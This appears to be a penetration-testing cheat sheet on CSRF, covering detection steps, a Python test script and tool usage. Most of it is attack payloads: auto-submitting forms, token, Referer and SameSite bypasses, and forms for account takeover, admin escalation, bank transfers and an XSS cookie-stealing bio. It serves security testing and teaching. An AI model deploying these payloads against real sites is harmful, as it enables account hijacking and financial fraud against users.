Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It exploits the trust that a web application has in the user's browser.
How It Works
CSRF attacks work by tricking a victim's browser into sending a malicious request to a web application where the victim is authenticated. For example:
<!-- Attacker's malicious page -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
When a victim who is logged into bank.com visits the attacker's page, their browser automatically sends the authenticated request, potentially transferring money without the victim's knowledge.
Detection
Manual Testing
Basic CSRF Tests
Testing for CSRF protections:
# Step 1: Perform a state-changing action (logged in)
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# Step 2: Check for CSRF token
# Look for:
# - Hidden input field: <input type="hidden" name="csrf_token" value="...">
# - Custom header: X-CSRF-Token: ...
# - Cookie-based token: csrf_token=...
# Step 3: Remove/modify CSRF token
# Try without token
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# If request succeeds: Vulnerable to CSRF
Token Validation Tests
Testing CSRF token implementation:
# Original request with token
POST /api/update-profile HTTP/1.1
Cookie: session=abc123
csrf_token=xyz789&name=John&email=john@example.com
# Test 1: Remove token completely
name=John&email=john@example.com
# Test 2: Use empty token
csrf_token=&name=John&email=john@example.com
# Test 3: Use another user's token
# Login with second account, get their token
csrf_token=user2_token&name=John&email=john@example.com
# Test 4: Use old/expired token
csrf_token=old_token_xyz123&name=John&email=john@example.com
# Test 5: Modify token slightly
csrf_token=xyz788&name=John&email=john@example.com
HTTP Method Tests
Testing method-based CSRF protections:
# Original POST request
POST /api/delete-account HTTP/1.1
Cookie: session=abc123
user_id=123
# Test with GET method
GET /api/delete-account?user_id=123 HTTP/1.1
Cookie: session=abc123
# Test with PUT method
PUT /api/delete-account HTTP/1.1
Cookie: session=abc123
user_id=123
# Test with custom methods
PATCH /api/delete-account HTTP/1.1
DELETE /api/delete-account?user_id=123 HTTP/1.1
Content-Type Tests
Testing content-type based protection:
# Original JSON request
POST /api/update HTTP/1.1
Content-Type: application/json
Cookie: session=abc123
{"email":"new@example.com"}
# Test with form-encoded
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123
email=new@example.com
# Test with text/plain
POST /api/update HTTP/1.1
Content-Type: text/plain
Cookie: session=abc123
{"email":"new@example.com"}
# Test with multipart
POST /api/update HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
Cookie: session=abc123
------Boundary
Content-Disposition: form-data; name="email"
new@example.com
------Boundary--
Referrer Header Tests
Testing referrer-based protection:
# Original request
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://target.com/settings
Cookie: session=abc123
new_password=test123
# Test without Referer
POST /api/change-password HTTP/1.1
Host: target.com
Cookie: session=abc123
new_password=test123
# Test with attacker's Referer
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://attacker.com/csrf.html
Cookie: session=abc123
new_password=test123
# Test with partial match
POST /api/change-password HTTP/1.1
Host: target.com
Referer: https://target.com.attacker.com/
Cookie: session=abc123
new_password=test123
Automated Discovery
Using Burp Suite
# Step 1: Enable CSRF detection
# Burp > Target > Site map
# Right-click on target > Engagement tools > Generate CSRF PoC
# Step 2: Burp will analyze request and create PoC
# It automatically handles:
# - Multi-part forms
# - JSON requests
# - Custom headers
# Step 3: Test the generated PoC
# Save HTML file and open in browser while logged in
# Check if action is performed
# Step 4: Use Burp Extensions
# Install: CSRF Scanner
# Install: CSurfer
# Install: Auto CSRF
Using XSRFProbe
# Basic CSRF scan
xsrfprobe -u https://target.com/endpoint
# With cookies
xsrfprobe -u https://target.com/endpoint \
--cookie "session=abc123"
# Crawl and test
xsrfprobe -u https://target.com \
--crawl \
--cookie "session=abc123" \
--output results.txt
# Advanced options
xsrfprobe -u https://target.com/endpoint \
--cookie "session=abc123" \
--delay 2 \
--timeout 10 \
--max-chars 500
Using Custom Scripts
# Python CSRF testing script
import requests
from bs4 import BeautifulSoup
# Target URL
url = "https://target.com/api/change-email"
# Authenticated session
session = requests.Session()
session.cookies.set('session', 'your_session_cookie')
# Original request with CSRF token
response = session.get("https://target.com/settings")
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
print(f"[*] Original token: {csrf_token}")
# Test 1: Without CSRF token
print("[*] Testing without CSRF token...")
response = session.post(url, data={
'email': 'attacker@evil.com'
})
if response.status_code == 200:
print("[+] VULNERABLE: Request succeeded without token!")
else:
print("[-] Protected: Request blocked without token")
# Test 2: With empty token
print("[*] Testing with empty token...")
response = session.post(url, data={
'email': 'attacker@evil.com',
'csrf_token': ''
})
if response.status_code == 200:
print("[+] VULNERABLE: Request succeeded with empty token!")
else:
print("[-] Protected: Request blocked with empty token")
Attack Vectors
GET-Based CSRF
Exploiting GET requests for CSRF:
<!-- Image tag CSRF -->
<img src="https://target.com/api/delete-account?confirm=yes" />
<!-- Script tag CSRF -->
<script src="https://target.com/api/change-setting?setting=value"></script>
<!-- Link tag CSRF -->
<link rel="stylesheet" href="https://target.com/api/action?param=value" />
<!-- Iframe CSRF -->
<iframe src="https://target.com/api/transfer?to=attacker&amount=1000"></iframe>
<!-- Redirect CSRF -->
<meta http-equiv="refresh" content="0; url=https://target.com/api/action?param=value" />
<!-- Ajax CSRF -->
<script>
fetch('https://target.com/api/action?param=value', {
credentials: 'include'
});
</script>
POST-Based CSRF
Exploiting POST requests:
<!-- Auto-submitting form -->
<html>
<body>
<form id="csrf-form" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- With file upload -->
<form action="https://target.com/api/upload-avatar" method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" />
<input type="submit" value="Submit" />
</form>
<!-- JSON CSRF with form -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='test"}' />
</form>
JSON CSRF
Exploiting JSON endpoints:
<!-- Method 1: text/plain Content-Type -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com"}' value='' />
<input type="submit" value="Submit" />
</form>
<!-- Method 2: Flash + 307 redirect -->
<script>
// Requires Flash (deprecated)
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api/update', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send('{"email":"attacker@evil.com"}');
</script>
<!-- Method 3: Fetch with SameSite=None -->
<script>
fetch('https://target.com/api/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
</script>
Multi-Step CSRF
Chaining multiple requests:
<script>
// Step 1: Get current user data
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Step 2: Modify and send back
data.email = 'attacker@evil.com';
data.role = 'admin';
return fetch('https://target.com/api/user/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
})
.then(() => {
// Step 3: Verify change
console.log('CSRF attack successful');
});
</script>
Login CSRF
Forcing victim to login with attacker's account:
<!-- Force login to attacker's account -->
<form action="https://target.com/login" method="POST" id="login-form">
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="attackerpass123" />
</form>
<script>
document.getElementById('login-form').submit();
</script>
<!-- Purpose: Victim uses attacker's account
- Victim adds payment method
- Victim enters sensitive data
- Attacker logs back in and sees data
-->
Bypass Techniques
Token Bypass
Bypassing CSRF token validation:
# Remove token parameter
# Original:
POST /api/update HTTP/1.1
csrf_token=xyz&email=test@example.com
# Without token:
POST /api/update HTTP/1.1
email=test@example.com
# Empty token
csrf_token=&email=test@example.com
# Null token
csrf_token=null&email=test@example.com
# Array notation
csrf_token[]=&email=test@example.com
# Change parameter name slightly
csrftoken=xyz&email=test@example.com
CSRF_TOKEN=xyz&email=test@example.com
Token Reuse
Using tokens across accounts:
# Step 1: Login with Account A
# Extract CSRF token: token_A
# Step 2: Login with Account B
# Use token_A instead of token_B
# If token is not tied to session: Vulnerable
POST /api/update HTTP/1.1
Cookie: session=account_B_session
csrf_token=token_A&email=attacker@evil.com
Method Override
Overriding HTTP methods:
# Original POST protected by CSRF
POST /api/delete-account HTTP/1.1
# Try method override headers
POST /api/delete-account HTTP/1.1
X-HTTP-Method-Override: DELETE
POST /api/delete-account HTTP/1.1
X-Method-Override: PUT
# Try query parameter
POST /api/delete-account?_method=DELETE HTTP/1.1
# Change to GET
GET /api/delete-account HTTP/1.1
Content-Type Bypass
Bypassing content-type restrictions:
# Server checks for application/json
# Send as text/plain to bypass CORS preflight
POST /api/update HTTP/1.1
Content-Type: text/plain
Cookie: session=abc123
{"email":"attacker@evil.com"}
# Or use form encoding
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123
email=attacker@evil.com
# With charset bypass
Content-Type: application/json; charset=utf-7
Content-Type: text/plain; charset=iso-8859-1
Referrer Bypass
Bypassing referrer checks:
<!-- Remove referrer -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="param" value="value" />
</form>
<!-- Partial referrer -->
<meta name="referrer" content="origin">
<!-- From subdomain -->
<!-- If check is: if (referer.contains("target.com")) -->
<!-- Host malicious page at: target.com.attacker.com -->
<!-- Data URI with iframe -->
<iframe src="data:text/html,<form action='https://target.com/api/action' method='POST'><input name='param' value='value'></form><script>document.forms[0].submit()</script>"></iframe>
Double Submit Cookie Bypass
Bypassing double-submit cookie pattern:
<!-- If app checks: cookie_token == post_token -->
<!-- But doesn't validate token format -->
<!-- Set attacker's token via subdomain or XSS -->
<script>
document.cookie = "csrf_token=attacker_token; domain=.target.com";
</script>
<!-- Then submit with matching token -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="attacker_token" />
</form>
SameSite Cookie Bypass
Bypassing SameSite cookie protection:
<!-- SameSite=Lax bypass via GET -->
<!-- If action can be performed via GET -->
<a href="https://target.com/api/action?param=value">Click here</a>
<!-- SameSite=Lax bypass via top-level navigation -->
<script>
window.open('https://target.com/api/action?param=value');
</script>
<!-- SameSite=None bypass (cookies will be sent) -->
<!-- Requires HTTPS -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="param" value="value" />
</form>
<!-- Via subdomain (same site) -->
<!-- If attacker controls subdomain.target.com -->
<!-- SameSite cookies will be sent -->
CORS Misconfiguration Chain
Combining CORS with CSRF:
<script>
// If CORS allows credentials from attacker origin
fetch('https://target.com/api/get-csrf-token', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Extract token
const token = data.csrf_token;
// Use token in CSRF attack
return fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ param: 'value' })
});
});
</script>
Post-Exploitation
Account Takeover
Using CSRF for account takeover:
<!-- Change email -->
<form action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
<!-- Change password -->
<form action="https://target.com/api/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>document.forms[0].submit();</script>
<!-- Add attacker's email as recovery -->
<form action="https://target.com/api/add-recovery-email" method="POST">
<input type="hidden" name="recovery_email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
Privilege Escalation
Escalating privileges through CSRF:
<!-- Add admin role -->
<form action="https://target.com/api/user/update" method="POST">
<input type="hidden" name="user_id" value="123" />
<input type="hidden" name="role" value="admin" />
</form>
<!-- Add to admin group -->
<form action="https://target.com/api/groups/add-member" method="POST">
<input type="hidden" name="group_id" value="1" />
<input type="hidden" name="user_id" value="attacker_id" />
</form>
Financial Fraud
Financial attacks via CSRF:
<!-- Transfer money -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to_account" value="attacker_account" />
<input type="hidden" name="amount" value="10000" />
</form>
<!-- Change payment method -->
<form action="https://shop.com/api/payment-method" method="POST">
<input type="hidden" name="card_number" value="attacker_card" />
<input type="hidden" name="expiry" value="12/25" />
</form>
<!-- Purchase items -->
<form action="https://shop.com/api/checkout" method="POST">
<input type="hidden" name="item_id" value="expensive_item" />
<input type="hidden" name="quantity" value="10" />
<input type="hidden" name="shipping" value="attacker_address" />
</form>
Data Manipulation
Manipulating user data:
<!-- Delete account -->
<img src="https://target.com/api/delete-account?confirm=yes" />
<!-- Update profile with malicious content -->
<form action="https://target.com/api/profile" method="POST">
<input type="hidden" name="bio" value="<script>alert(document.cookie)</script>" />
</form>
<!-- Change privacy settings -->
<form action="https://target.com/api/privacy" method="POST">
<input type="hidden" name="profile_public" value="true" />
<input type="hidden" name="show_email" value="true" />
</form>
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
Burp Suite | Web vulnerability scanner | CSRF PoC generation |
XSRFProbe | CSRF detection tool | Automated CSRF testing |
CSRF Tester | Browser extension | Quick CSRF testing |
CSurfer | Burp extension | CSRF analysis |
OWASP CSRFGuard | CSRF protection | Testing protection mechanisms |
Postman | API testing tool | Manual CSRF testing |